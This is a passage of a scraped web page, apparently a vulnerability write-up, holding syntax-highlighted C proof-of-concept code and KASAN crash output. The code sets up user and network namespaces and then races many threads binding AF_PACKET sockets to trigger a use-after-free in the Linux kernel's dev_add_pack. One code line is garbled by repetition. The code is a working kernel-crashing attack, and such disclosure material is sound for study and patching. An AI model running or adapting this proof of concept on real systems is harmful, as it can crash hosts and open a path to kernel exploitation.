1n&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">real_uid<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-75\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-e\">perror<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;write_file(\/proc\/self\/uid_map)&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-76\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-e\">exit<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">EXIT_FAILURE<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-77\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-78\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-e\">write_file<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;\/proc\/self\/gid_map&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;0 %d 1n&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">real_gid<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-79\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-e\">perror<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;write_file(\/proc\/self\/gid_map)&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-80\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-e\">exit<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">EXIT_FAILURE<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-81\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-82\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-83\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-e\">cpu_set_t <\/span><span class=\"crayon-v\">my_set<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-84\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-e\">CPU_ZERO<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">my_set<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-85\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-e\">CPU_SET<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">my_set<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-86\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">sched_setaffinity<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">my_set<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">my_set<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-87\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-e\">perror<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;sched_setaffinity()&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-88\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-e\">exit<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">EXIT_FAILURE<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-89\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-90\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-91\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">system<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;\/sbin\/ip link set dev lo up&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-92\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-e\">perror<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;system(\/sbin\/ip link set dev lo up)&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-93\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-e\">exit<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">EXIT_FAILURE<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-94\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-95\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-96\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-r\">printf<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;[.] namespace sandbox setup successfullyn&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-97\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-98\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-99\"><span class=\"crayon-t\">void<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-e\">trigger<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">void<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-r\">unused<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-100\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-101\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">ifreq <\/span><span class=\"crayon-v\">ifreq<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-102\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">sockaddr_ll <\/span><span class=\"crayon-v\">addr1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">addr2<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-103\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">index<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-104\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-105\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">fd<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">socket<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">AF_PACKET<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">SOCK_DGRAM<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">PF_PACKET<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">fd<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">socket<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">AF_PACKET<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">SOCK_DGRAM<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">PF_PACKET<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">fd<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">socket<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">AF_PACKET<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">SOCK_DGRAM<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">PF_PACKET<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">fd<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">socket<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">AF_PACKET<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">SOCK_DGRAM<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">PF_PACKET<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-106\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-107\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-e\">memcpy<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">ifreq<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">ifr_name<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;lo&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">3<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-108\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-e\">ioctl<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">fd<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">SIOCSIFFLAGS<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">ifreq<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-109\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-110\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-v\">ifreq<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">ifr_flags<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">IFF_UP<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-111\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-e\">ioctl<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">fd<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">SIOCSIFFLAGS<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">ifreq<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-112\"><span class=\"crayon-h\">\t<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-113\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-e\">ioctl<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">fd<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">SIOCGIFINDEX<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">ifreq<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-114\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-v\">index<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">ifreq<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">ifr_ifindex<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-115\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-116\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-v\">addr1<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">sll_family<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">AF_PACKET<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-117\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-v\">addr1<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">sll_ifindex<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">index<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-118\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-e\">bind<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">fd<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">sockaddr<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">addr1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">addr1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-119\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-120\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-v\">addr2<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">sll_family<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">AF_PACKET<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-121\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-e\">bind<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">fd<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">sockaddr<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">addr2<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">addr2<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-122\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-123\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-e\">close<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">fd<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-124\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-125\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-126\"><span class=\"crayon-p\">#define NB_T 20<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-127\"><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">main<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-128\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-129\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">i<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-130\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-131\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-e\">setup_sandbox<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-132\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-st\">do<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-133\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-e\">pthread_t <\/span><span class=\"crayon-v\">trigger_tasks<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">NB_T<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-134\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-135\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-st\">for<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">i<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">i<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">NB_T<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">++<\/span><span class=\"crayon-v\">i<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-136\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-e\">pthread_create<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">trigger_tasks<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">i<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">NULL<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">trigger<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">NULL<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-137\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-138\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-st\">for<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">i<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">i<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">NB_T<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">++<\/span><span class=\"crayon-v\">i<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-139\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-e\">pthread_join<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">trigger_tasks<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">i<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">NULL<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-140\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-141\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">while<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-142\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-143\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-144\"><span class=\"crayon-sy\">}<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0118 seconds] -->  <\/p>\n<p><strong>Crash info<\/strong><\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5b74a6df5440a697334798\" class=\"crayon-syntax crayon-theme-secrets-of-rock crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> [  123.793289] BUG: KASAN: use-after-free in dev_add_pack+0x240\/0x2d0  [  123.793858] Write of size 8 at addr ffff88005c67f3b0 by task poc\/225  [  123.794414]   [  123.794609] CPU: 0 PID: 225 Comm: poc Not tainted 4.13.13+ #3  [  123.795111] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04\/01\/2014  [  123.795876] Call Trace:  [  123.796099]  dump_stack+0xb8\/0x152  [  123.797103]  print_address_description+0x6f\/0x270  [  123.797560]  kasan_report+0x275\/0x360  [  123.798327]  __asan_report_store8_noabort+0x1c\/0x20  [  123.798828]  dev_add_pack+0x240\/0x2d0  [  